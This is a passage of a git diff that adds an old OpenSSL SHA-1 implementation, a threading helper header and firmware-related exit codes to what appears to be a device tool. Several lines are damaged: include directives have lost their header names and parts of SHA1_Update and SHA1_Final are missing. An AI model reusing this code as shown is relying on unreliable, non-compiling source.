do { BaseLog("FATAL(" #code "): " args, ##rest); printf("%d\n", code); exit(1); } while(0) + +#define kExitUnknownFirmware 0x10000001 +#define kExitMissingFile 0x10000002 +#define kExitNotActivated 0x10000003 +#define kExitTransferError 0x10000004 diff --git a/dl/resources b/dl/resources new file mode 120000 index 0000000..35a4f7a --- /dev/null +++ b/dl/resources @@ -0,0 +1 @@ +../resources \ No newline at end of file diff --git a/dl/sha.h b/dl/sha.h new file mode 100644 index 0000000..7215f2f --- /dev/null +++ b/dl/sha.h @@ -0,0 +1,109 @@ +/* crypto/sha/sha.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_SHA_H +#define HEADER_SHA_H + +#ifdef __cplusplus +extern "C" { +#endif + +#define SHA_CBLOCK 64 +#define SHA_LBLOCK 16 +#define SHA_BLOCK 16 +#define SHA_LAST_BLOCK 56 +#define SHA_LENGTH_BLOCK 8 +#define SHA_DIGEST_LENGTH 20 + +typedef struct SHAstate_st + { + unsigned long h0,h1,h2,h3,h4; + unsigned long Nl,Nh; + unsigned long data[SHA_LBLOCK]; + int num; + } SHA_CTX; + +#ifndef NOPROTO +void SHA_Init(SHA_CTX *c); +void SHA_Update(SHA_CTX *c, unsigned const char *data, unsigned long len); +void SHA_Final(unsigned char *md, SHA_CTX *c); +unsigned char *SHA(unsigned char *d, unsigned long n,unsigned char *md); +void SHA_Transform(SHA_CTX *c, unsigned char *data); +void SHA1_Init(SHA_CTX *c); +void SHA1_Update(SHA_CTX *c, unsigned const char *data, unsigned long len); +void SHA1_Final(unsigned char *md, SHA_CTX *c); +unsigned char *SHA1(unsigned char *d, unsigned long n,unsigned char *md); +void SHA1_Transform(SHA_CTX *c, unsigned char *data); +#else +void SHA_Init(); +void SHA_Update(); +void SHA_Final(); +unsigned char *SHA(); +void SHA_Transform(); +void SHA1_Init(); +void SHA1_Update(); +void SHA1_Final(); +unsigned char *SHA1(); +void SHA1_Transform(); +#endif + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/dl/sha1dgst.c b/dl/sha1dgst.c new file mode 100644 index 0000000..03f82de --- /dev/null +++ b/dl/sha1dgst.c @@ -0,0 +1,467 @@ +/* crypto/sha/sha1dgst.c */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#include +#include +#undef SHA_0 +#define SHA_1 +#include "sha.h" +#include "sha_locl.h" + +char *SHA1_version="SHA1 part of OpenSSL 0.9.1c 23-Dec-1998"; + +/* Implemented from SHA-1 document - The Secure Hash Algorithm + */ + +#define INIT_DATA_h0 (unsigned long)0x67452301L +#define INIT_DATA_h1 (unsigned long)0xefcdab89L +#define INIT_DATA_h2 (unsigned long)0x98badcfeL +#define INIT_DATA_h3 (unsigned long)0x10325476L +#define INIT_DATA_h4 (unsigned long)0xc3d2e1f0L + +#define K_00_19 0x5a827999L +#define K_20_39 0x6ed9eba1L +#define K_40_59 0x8f1bbcdcL +#define K_60_79 0xca62c1d6L + +#ifndef NOPROTO +# ifdef SHA1_ASM + void sha1_block_x86(SHA_CTX *c, register unsigned long *p, int num); +# define sha1_block sha1_block_x86 +# else + void sha1_block(SHA_CTX *c, register unsigned long *p, int num); +# endif +#else +# ifdef SHA1_ASM + void sha1_block_x86(); +# define sha1_block sha1_block_x86 +# else + void sha1_block(); +# endif +#endif + + +#if defined(L_ENDIAN) && defined(SHA1_ASM) +# define M_c2nl c2l +# define M_p_c2nl p_c2l +# define M_c2nl_p c2l_p +# define M_p_c2nl_p p_c2l_p +# define M_nl2c l2c +#else +# define M_c2nl c2nl +# define M_p_c2nl p_c2nl +# define M_c2nl_p c2nl_p +# define M_p_c2nl_p p_c2nl_p +# define M_nl2c nl2c +#endif + +void SHA1_Init(c) +SHA_CTX *c; + { + c->h0=INIT_DATA_h0; + c->h1=INIT_DATA_h1; + c->h2=INIT_DATA_h2; + c->h3=INIT_DATA_h3; + c->h4=INIT_DATA_h4; + c->Nl=0; + c->Nh=0; + c->num=0; + } + +void SHA1_Update(c, data, len) +SHA_CTX *c; +register const unsigned char *data; +unsigned long len; + { + register ULONG *p; + int ew,ec,sw,sc; + ULONG l; + + if (len == 0) return; + + l=(c->Nl+(len<<3))&0xffffffffL; + if (l < c->Nl) /* overflow */ + c->Nh++; + c->Nh+=(len>>29); + c->Nl=l; + + if (c->num != 0) + { + p=c->data; + sw=c->num>>2; + sc=c->num&0x03; + + if ((c->num+len) >= SHA_CBLOCK) + { + l= p[sw]; + M_p_c2nl(data,l,sc); + p[sw++]=l; + for (; swnum); + + sha1_block(c,p,64); + c->num=0; + /* drop through and do the rest */ + } + else + { + c->num+=(int)len; + if ((sc+len) < 4) /* ugly, add char's to a word */ + { + l= p[sw]; + M_p_c2nl_p(data,l,sc,len); + p[sw]=l; + } + else + { + ew=(c->num>>2); + ec=(c->num&0x03); + l= p[sw]; + M_p_c2nl(data,l,sc); + p[sw++]=l; + for (; sw < ew; sw++) + { M_c2nl(data,l); p[sw]=l; } + if (ec) + { + M_c2nl_p(data,l,ec); + p[sw]=l; + } + } + return; + } + } + /* We can only do the following code for assember, the reason + * being that the sha1_block 'C' version changes the values + * in the 'data' array. The assember code avoids this and + * copies it to a local array. I should be able to do this for + * the C version as well.... + */ +#if 1 +#if defined(B_ENDIAN) || defined(SHA1_ASM) + if ((((unsigned long)data)%sizeof(ULONG)) == 0) + { + sw=len/SHA_CBLOCK; + if (sw) + { + sw*=SHA_CBLOCK; + sha1_block(c,(ULONG *)data,sw); + data+=sw; + len-=sw; + } + } +#endif +#endif + /* we now can process the input data in blocks of SHA_CBLOCK + * chars and save the leftovers to c->data. */ + p=c->data; + while (len >= SHA_CBLOCK) + { +#if defined(B_ENDIAN) || defined(L_ENDIAN) + if (p != (unsigned long *)data) + memcpy(p,data,SHA_CBLOCK); + data+=SHA_CBLOCK; +# ifdef L_ENDIAN +# ifndef SHA1_ASM /* Will not happen */ + for (sw=(SHA_LBLOCK/4); sw; sw--) + { + Endian_Reverse32(p[0]); + Endian_Reverse32(p[1]); + Endian_Reverse32(p[2]); + Endian_Reverse32(p[3]); + p+=4; + } + p=c->data; +# endif +# endif +#else + for (sw=(SHA_BLOCK/4); sw; sw--) + { + M_c2nl(data,l); *(p++)=l; + M_c2nl(data,l); *(p++)=l; + M_c2nl(data,l); *(p++)=l; + M_c2nl(data,l); *(p++)=l; + } + p=c->data; +#endif + sha1_block(c,p,64); + len-=SHA_CBLOCK; + } + ec=(int)len; + c->num=ec; + ew=(ec>>2); + ec&=0x03; + + for (sw=0; sw < ew; sw++) + { M_c2nl(data,l); p[sw]=l; } + M_c2nl_p(data,l,ec); + p[sw]=l; + } + +void SHA1_Transform(c,b) +SHA_CTX *c; +unsigned char *b; + { + ULONG p[16]; +#ifndef B_ENDIAN + ULONG *q; + int i; +#endif + +#if defined(B_ENDIAN) || defined(L_ENDIAN) + memcpy(p,b,64); +#ifdef L_ENDIAN + q=p; + for (i=(SHA_LBLOCK/4); i; i--) + { + Endian_Reverse32(q[0]); + Endian_Reverse32(q[1]); + Endian_Reverse32(q[2]); + Endian_Reverse32(q[3]); + q+=4; + } +#endif +#else + q=p; + for (i=(SHA_LBLOCK/4); i; i--) + { + ULONG l; + c2nl(b,l); *(q++)=l; + c2nl(b,l); *(q++)=l; + c2nl(b,l); *(q++)=l; + c2nl(b,l); *(q++)=l; + } +#endif + sha1_block(c,p,64); + } + +#ifndef SHA1_ASM + +void sha1_block(c, W, num) +SHA_CTX *c; +register unsigned long *W; +int num; + { + register ULONG A,B,C,D,E,T; + ULONG X[16]; + + A=c->h0; + B=c->h1; + C=c->h2; + D=c->h3; + E=c->h4; + + for (;;) + { + BODY_00_15( 0,A,B,C,D,E,T,W); + BODY_00_15( 1,T,A,B,C,D,E,W); + BODY_00_15( 2,E,T,A,B,C,D,W); + BODY_00_15( 3,D,E,T,A,B,C,W); + BODY_00_15( 4,C,D,E,T,A,B,W); + BODY_00_15( 5,B,C,D,E,T,A,W); + BODY_00_15( 6,A,B,C,D,E,T,W); + BODY_00_15( 7,T,A,B,C,D,E,W); + BODY_00_15( 8,E,T,A,B,C,D,W); + BODY_00_15( 9,D,E,T,A,B,C,W); + BODY_00_15(10,C,D,E,T,A,B,W); + BODY_00_15(11,B,C,D,E,T,A,W); + BODY_00_15(12,A,B,C,D,E,T,W); + BODY_00_15(13,T,A,B,C,D,E,W); + BODY_00_15(14,E,T,A,B,C,D,W); + BODY_00_15(15,D,E,T,A,B,C,W); + BODY_16_19(16,C,D,E,T,A,B,W,W,W,W); + BODY_16_19(17,B,C,D,E,T,A,W,W,W,W); + BODY_16_19(18,A,B,C,D,E,T,W,W,W,W); + BODY_16_19(19,T,A,B,C,D,E,W,W,W,X); + + BODY_20_31(20,E,T,A,B,C,D,W,W,W,X); + BODY_20_31(21,D,E,T,A,B,C,W,W,W,X); + BODY_20_31(22,C,D,E,T,A,B,W,W,W,X); + BODY_20_31(23,B,C,D,E,T,A,W,W,W,X); + BODY_20_31(24,A,B,C,D,E,T,W,W,X,X); + BODY_20_31(25,T,A,B,C,D,E,W,W,X,X); + BODY_20_31(26,E,T,A,B,C,D,W,W,X,X); + BODY_20_31(27,D,E,T,A,B,C,W,W,X,X); + BODY_20_31(28,C,D,E,T,A,B,W,W,X,X); + BODY_20_31(29,B,C,D,E,T,A,W,W,X,X); + BODY_20_31(30,A,B,C,D,E,T,W,X,X,X); + BODY_20_31(31,T,A,B,C,D,E,W,X,X,X); + BODY_32_39(32,E,T,A,B,C,D,X); + BODY_32_39(33,D,E,T,A,B,C,X); + BODY_32_39(34,C,D,E,T,A,B,X); + BODY_32_39(35,B,C,D,E,T,A,X); + BODY_32_39(36,A,B,C,D,E,T,X); + BODY_32_39(37,T,A,B,C,D,E,X); + BODY_32_39(38,E,T,A,B,C,D,X); + BODY_32_39(39,D,E,T,A,B,C,X); + + BODY_40_59(40,C,D,E,T,A,B,X); + BODY_40_59(41,B,C,D,E,T,A,X); + BODY_40_59(42,A,B,C,D,E,T,X); + BODY_40_59(43,T,A,B,C,D,E,X); + BODY_40_59(44,E,T,A,B,C,D,X); + BODY_40_59(45,D,E,T,A,B,C,X); + BODY_40_59(46,C,D,E,T,A,B,X); + BODY_40_59(47,B,C,D,E,T,A,X); + BODY_40_59(48,A,B,C,D,E,T,X); + BODY_40_59(49,T,A,B,C,D,E,X); + BODY_40_59(50,E,T,A,B,C,D,X); + BODY_40_59(51,D,E,T,A,B,C,X); + BODY_40_59(52,C,D,E,T,A,B,X); + BODY_40_59(53,B,C,D,E,T,A,X); + BODY_40_59(54,A,B,C,D,E,T,X); + BODY_40_59(55,T,A,B,C,D,E,X); + BODY_40_59(56,E,T,A,B,C,D,X); + BODY_40_59(57,D,E,T,A,B,C,X); + BODY_40_59(58,C,D,E,T,A,B,X); + BODY_40_59(59,B,C,D,E,T,A,X); + + BODY_60_79(60,A,B,C,D,E,T,X); + BODY_60_79(61,T,A,B,C,D,E,X); + BODY_60_79(62,E,T,A,B,C,D,X); + BODY_60_79(63,D,E,T,A,B,C,X); + BODY_60_79(64,C,D,E,T,A,B,X); + BODY_60_79(65,B,C,D,E,T,A,X); + BODY_60_79(66,A,B,C,D,E,T,X); + BODY_60_79(67,T,A,B,C,D,E,X); + BODY_60_79(68,E,T,A,B,C,D,X); + BODY_60_79(69,D,E,T,A,B,C,X); + BODY_60_79(70,C,D,E,T,A,B,X); + BODY_60_79(71,B,C,D,E,T,A,X); + BODY_60_79(72,A,B,C,D,E,T,X); + BODY_60_79(73,T,A,B,C,D,E,X); + BODY_60_79(74,E,T,A,B,C,D,X); + BODY_60_79(75,D,E,T,A,B,C,X); + BODY_60_79(76,C,D,E,T,A,B,X); + BODY_60_79(77,B,C,D,E,T,A,X); + BODY_60_79(78,A,B,C,D,E,T,X); + BODY_60_79(79,T,A,B,C,D,E,X); + + c->h0=(c->h0+E)&0xffffffffL; + c->h1=(c->h1+T)&0xffffffffL; + c->h2=(c->h2+A)&0xffffffffL; + c->h3=(c->h3+B)&0xffffffffL; + c->h4=(c->h4+C)&0xffffffffL; + + num-=64; + if (num <= 0) break; + + A=c->h0; + B=c->h1; + C=c->h2; + D=c->h3; + E=c->h4; + + W+=16; + } + } +#endif + +void SHA1_Final(md, c) +unsigned char *md; +SHA_CTX *c; + { + register int i,j; + register ULONG l; + register ULONG *p; + static unsigned char end[4]={0x80,0x00,0x00,0x00}; + unsigned char *cp=end; + + /* c->num should definitly have room for at least one more byte. */ + p=c->data; + j=c->num; + i=j>>2; +#ifdef PURIFY + if ((j&0x03) == 0) p[i]=0; +#endif + l=p[i]; + M_p_c2nl(cp,l,j&0x03); + p[i]=l; + i++; + /* i is the next 'undefined word' */ + if (c->num >= SHA_LAST_BLOCK) + { + for (; iNh; + p[SHA_LBLOCK-1]=c->Nl; +#if defined(L_ENDIAN) && defined(SHA1_ASM) + Endian_Reverse32(p[SHA_LBLOCK-2]); + Endian_Reverse32(p[SHA_LBLOCK-1]); +#endif + sha1_block(c,p,64); + cp=md; + l=c->h0; nl2c(l,cp); + l=c->h1; nl2c(l,cp); + l=c->h2; nl2c(l,cp); + l=c->h3; nl2c(l,cp); + l=c->h4; nl2c(l,cp); + + /* clear stuff, sha1_block may be leaving some stuff on the stack + * but I'm not worried :-) */ + c->num=0; +/* memset((char *)&c,0,sizeof(c));*/ + } diff --git a/dl/sha_locl.h b/dl/sha_locl.h new file mode 100644 index 0000000..dae45cb --- /dev/null +++ b/dl/sha_locl.h @@ -0,0 +1,245 @@ +/* crypto/sha/sha_locl.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#include +#include + +#ifdef undef +/* one or the other needs to be defined */ +#ifndef SHA_1 /* FIPE 180-1 */ +#define SHA_0 /* FIPS 180 */ +#endif +#endif + +#define ULONG unsigned long +#define UCHAR unsigned char +#define UINT unsigned int + +#ifdef NOCONST +#define const +#endif + +#undef c2nl +#define c2nl(c,l) (l =(((unsigned long)(*((c)++)))<<24), \ + l|=(((unsigned long)(*((c)++)))<<16), \ + l|=(((unsigned long)(*((c)++)))<< 8), \ + l|=(((unsigned long)(*((c)++))) )) + +#undef p_c2nl +#define p_c2nl(c,l,n) { \ + switch (n) { \ + case 0: l =((unsigned long)(*((c)++)))<<24; \ + case 1: l|=((unsigned long)(*((c)++)))<<16; \ + case 2: l|=((unsigned long)(*((c)++)))<< 8; \ + case 3: l|=((unsigned long)(*((c)++))); \ + } \ + } + +#undef c2nl_p +/* NOTE the pointer is not incremented at the end of this */ +#define c2nl_p(c,l,n) { \ + l=0; \ + (c)+=n; \ + switch (n) { \ + case 3: l =((unsigned long)(*(--(c))))<< 8; \ + case 2: l|=((unsigned long)(*(--(c))))<<16; \ + case 1: l|=((unsigned long)(*(--(c))))<<24; \ + } \ + } + +#undef p_c2nl_p +#define p_c2nl_p(c,l,sc,len) { \ + switch (sc) \ + { \ + case 0: l =((unsigned long)(*((c)++)))<<24; \ + if (--len == 0) break; \ + case 1: l|=((unsigned long)(*((c)++)))<<16; \ + if (--len == 0) break; \ + case 2: l|=((unsigned long)(*((c)++)))<< 8; \ + } \ + } + +#undef nl2c +#define nl2c(l,c) (*((c)++)=(unsigned char)(((l)>>24)&0xff), \ + *((c)++)=(unsigned char)(((l)>>16)&0xff), \ + *((c)++)=(unsigned char)(((l)>> 8)&0xff), \ + *((c)++)=(unsigned char)(((l) )&0xff)) + +#undef c2l +#define c2l(c,l) (l =(((unsigned long)(*((c)++))) ), \ + l|=(((unsigned long)(*((c)++)))<< 8), \ + l|=(((unsigned long)(*((c)++)))<<16), \ + l|=(((unsigned long)(*((c)++)))<<24)) + +#undef p_c2l +#define p_c2l(c,l,n) { \ + switch (n) { \ + case 0: l =((unsigned long)(*((c)++))); \ + case 1: l|=((unsigned long)(*((c)++)))<< 8; \ + case 2: l|=((unsigned long)(*((c)++)))<<16; \ + case 3: l|=((unsigned long)(*((c)++)))<<24; \ + } \ + } + +#undef c2l_p +/* NOTE the pointer is not incremented at the end of this */ +#define c2l_p(c,l,n) { \ + l=0; \ + (c)+=n; \ + switch (n) { \ + case 3: l =((unsigned long)(*(--(c))))<<16; \ + case 2: l|=((unsigned long)(*(--(c))))<< 8; \ + case 1: l|=((unsigned long)(*(--(c)))); \ + } \ + } + +#undef p_c2l_p +#define p_c2l_p(c,l,sc,len) { \ + switch (sc) \ + { \ + case 0: l =((unsigned long)(*((c)++))); \ + if (--len == 0) break; \ + case 1: l|=((unsigned long)(*((c)++)))<< 8; \ + if (--len == 0) break; \ + case 2: l|=((unsigned long)(*((c)++)))<<16; \ + } \ + } + +#undef l2c +#define l2c(l,c) (*((c)++)=(unsigned char)(((l) )&0xff), \ + *((c)++)=(unsigned char)(((l)>> 8)&0xff), \ + *((c)++)=(unsigned char)(((l)>>16)&0xff), \ + *((c)++)=(unsigned char)(((l)>>24)&0xff)) + +#undef ROTATE +#if defined(WIN32) +#define ROTATE(a,n) _lrotl(a,n) +#else +#define ROTATE(a,n) (((a)<<(n))|(((a)&0xffffffff)>>(32-(n)))) +#endif + +/* A nice byte order reversal from Wei Dai */ +#if defined(WIN32) +/* 5 instructions with rotate instruction, else 9 */ +#define Endian_Reverse32(a) \ + { \ + unsigned long l=(a); \ + (a)=((ROTATE(l,8)&0x00FF00FF)|(ROTATE(l,24)&0xFF00FF00)); \ + } +#else +/* 6 instructions with rotate instruction, else 8 */ +#define Endian_Reverse32(a) \ + { \ + unsigned long l=(a); \ + l=(((l&0xFF00FF00)>>8L)|((l&0x00FF00FF)<<8L)); \ + (a)=ROTATE(l,16L); \ + } +#endif + +/* As pointed out by Wei Dai , F() below can be + * simplified to the code in F_00_19. Wei attributes these optimisations + * to Peter Gutmann's SHS code, and he attributes it to Rich Schroeppel. + * #define F(x,y,z) (((x) & (y)) | ((~(x)) & (z))) + * I've just become aware of another tweak to be made, again from Wei Dai, + * in F_40_59, (x&a)|(y&a) -> (x|y)&a + */ +#define F_00_19(b,c,d) ((((c) ^ (d)) & (b)) ^ (d)) +#define F_20_39(b,c,d) ((b) ^ (c) ^ (d)) +#define F_40_59(b,c,d) (((b) & (c)) | (((b)|(c)) & (d))) +#define F_60_79(b,c,d) F_20_39(b,c,d) + +#ifdef SHA_0 +#undef Xupdate +#define Xupdate(a,i,ia,ib,ic,id) X[(i)&0x0f]=(a)=\ + (ia[(i)&0x0f]^ib[((i)+2)&0x0f]^ic[((i)+8)&0x0f]^id[((i)+13)&0x0f]); +#endif +#ifdef SHA_1 +#undef Xupdate +#define Xupdate(a,i,ia,ib,ic,id) (a)=\ + (ia[(i)&0x0f]^ib[((i)+2)&0x0f]^ic[((i)+8)&0x0f]^id[((i)+13)&0x0f]);\ + X[(i)&0x0f]=(a)=ROTATE((a),1); +#endif + +#define BODY_00_15(i,a,b,c,d,e,f,xa) \ + (f)=xa[i]+(e)+K_00_19+ROTATE((a),5)+F_00_19((b),(c),(d)); \ + (b)=ROTATE((b),30); + +#define BODY_16_19(i,a,b,c,d,e,f,xa,xb,xc,xd) \ + Xupdate(f,i,xa,xb,xc,xd); \ + (f)+=(e)+K_00_19+ROTATE((a),5)+F_00_19((b),(c),(d)); \ + (b)=ROTATE((b),30); + +#define BODY_20_31(i,a,b,c,d,e,f,xa,xb,xc,xd) \ + Xupdate(f,i,xa,xb,xc,xd); \ + (f)+=(e)+K_20_39+ROTATE((a),5)+F_20_39((b),(c),(d)); \ + (b)=ROTATE((b),30); + +#define BODY_32_39(i,a,b,c,d,e,f,xa) \ + Xupdate(f,i,xa,xa,xa,xa); \ + (f)+=(e)+K_20_39+ROTATE((a),5)+F_20_39((b),(c),(d)); \ + (b)=ROTATE((b),30); + +#define BODY_40_59(i,a,b,c,d,e,f,xa) \ + Xupdate(f,i,xa,xa,xa,xa); \ + (f)+=(e)+K_40_59+ROTATE((a),5)+F_40_59((b),(c),(d)); \ + (b)=ROTATE((b),30); + +#define BODY_60_79(i,a,b,c,d,e,f,xa) \ + Xupdate(f,i,xa,xa,xa,xa); \ + (f)=X[(i)&0x0f]+(e)+K_60_79+ROTATE((a),5)+F_60_79((b),(c),(d)); \ + (b)=ROTATE((b),30); diff --git a/dl/threadshit.h b/dl/threadshit.h new file mode 100644 index 0000000..a4e148c --- /dev/null +++ b/dl/threadshit.h @@ -0,0 +1,98 @@ +#ifdef __APPLE__ +#include + +typedef struct { + pthread_cond_t cv; + pthread_mutex_t mp; + int b; +} ev_t; +static void ev_init(ev_t *ev) { + pthread_mutex_init(&ev->mp, NULL); + pthread_cond_init(&ev->cv, NULL); + ev->b = 0; +} +static void ev_wait(ev_t *ev) { + pthread_mutex_lock(&ev->mp); + while(!ev->b) { + pthread_cond_wait(&ev->cv, &ev->mp); + } + pthread_mutex_unlock(&ev->mp); +} +static void ev_signal(ev_t *ev) { + ev->b = 1; + pthread_mutex_lock(&ev->mp); + pthread_cond_signal(&ev->cv); + pthread_mutex_unlock(&ev->mp); +} + +int threadcount = 0; +ev_t ev_threadcount; +pthread_mutex_t mp_threadcount; + +static void *a_thread(void *func) { + ((void (*)()) func)(); + pthread_mutex_lock(&mp_threadcount); + threadcount--; + if(threadcount == 1) { // 1 is the waiting thread + ev_signal(&ev_threadcount); + } + pthread_mutex_unlock(&mp_threadcount); + return NULL; +} +static void create_a_thread(void (*func)()) { + if(threadcount == 0) { + // not initted yet + pthread_mutex_init(&mp_threadcount, NULL); + ev_init(&ev_threadcount); + threadcount = 0; + } + pthread_mutex_lock(&mp_threadcount); + threadcount++; + pthread_mutex_unlock(&mp_threadcount); + pthread_t thread; + pthread_create(&thread, NULL, a_thread, func); +} +#else +#include + +typedef HANDLE ev_t; + +static void ev_init(ev_t *ev) { + *ev = CreateEvent(NULL, TRUE, FALSE, NULL); +} +static void ev_wait(ev_t *ev) { + WaitForSingleObject(*ev, INFINITE); +} +static void ev_signal(ev_t *ev) { + SetEvent(*ev); +} + +int threadcount = 0; +ev_t ev_threadcount; +CRITICAL_SECTION mp_threadcount; + + +static DWORD a_thread(void *func) { + ((void (*)()) func)(); + EnterCriticalSection(&mp_threadcount); + threadcount--; + if(threadcount == 1) { + ev_signal(&ev_threadcount); + } + LeaveCriticalSection(&mp_threadcount); + return 0; +} + +static void create_a_thread(void (*func)()) { + 